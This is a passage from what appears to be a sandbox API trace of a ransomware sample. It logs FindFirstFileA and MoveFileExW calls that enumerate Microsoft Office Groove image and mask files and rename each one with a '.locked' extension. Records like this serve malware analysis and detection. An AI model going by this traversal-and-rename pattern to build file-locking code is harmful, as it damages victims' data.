Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendartooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.715] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\CalendarViewButtonImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\calendarviewbuttonimages.jpg.locked"), dwFlags=0x2) returned 1 [0037.724] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg.locked"), dwFlags=0x2) returned 1 [0037.729] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0037.732] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb978bf00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb978bf00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0037.755] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg.locked"), dwFlags=0x2) returned 1 [0037.764] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp.locked"), dwFlags=0x2) returned 1 [0037.779] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg.locked"), dwFlags=0x2) returned 1 [0037.788] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.802] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg.locked"), dwFlags=0x2) returned 1 [0037.813] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.835] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg.locked"), dwFlags=0x2) returned 1 [0037.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.864] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg.locked"), dwFlags=0x2) returned 1 [0037.875] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.882] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg.locked"), dwFlags=0x2) returned 1 [0037.893] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.912] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg.locked"), dwFlags=0x2) returned 1 [0037.923] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp.locked"), dwFlags=0x2) returned 1 [0037.941] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg.locked"), dwFlags=0x2) returned 1 [0037.951] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp.locked"), dwFlags=0x2) returned 1 [0037.962] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg.locked"), dwFlags=0x2) returned 1 [0037.967] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0037.971] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp.locked"), dwFlags=0x2) returned 1 [0037.980] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg.locked"), dwFlags=0x2) returned 1 [0037.992] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg.locked"), dwFlags=0x2) returned 1 [0037.996] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0038.000] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMaskSmall.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagemasksmall.bmp.locked"), dwFlags=0x2) returned 1 [0038.011] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageSmall.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimagesmall.jpg.locked"), dwFlags=0x2) returned 1 [0038.024] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimages.jpg.locked"), dwFlags=0x2) returned 1 [0038.026] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\MessageBoxIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\messageboxiconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.037] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIcon.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadicon.jpg.locked"), dwFlags=0x2) returned 1 [0038.048] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimages.jpg.locked"), dwFlags=0x2) returned 1 [0038.052] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\UnreadIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\unreadiconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.055] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9aabbe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9aabbe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0038.061] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericon.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericon.jpg.locked"), dwFlags=0x2) returned 1 [0038.065] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\computericonMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\computericonmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.068] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9ad1d40, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9ad1d40, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0038.084] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImages.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimages.jpg.locked"), dwFlags=0x2) returned 1 [0038.093] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\DiscussionToolIconImagesMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\discussiontooliconimagesmask.bmp.locked"), dwFlags=0x2) returned 1 [0038.096] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x709f1ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9b1e000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9b1e000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0038.139] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg.locked"), dwFlags=0x2) returned 1 [0038.143] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\*", lpFindFileData=0x42a9b8 | out: lpFindFileData=0x42a9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb9b90420, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xb9b90420, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x42a7a0, cFileName=".", cAlternateFileName="")) returned 0x825990 [0038.154] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg.locked"), dwFlags=0x2) returned 1 [0038.162] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0038.166] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg.locked"), dwFlags=0x2) returned 1 [0038.179] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg.locked"), dwFlags=0x2) returned 1 [0038.184] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp.locked" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp.locked"), dwFlags=0x2) returned 1 [0038.189] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg.locked" (normalized: 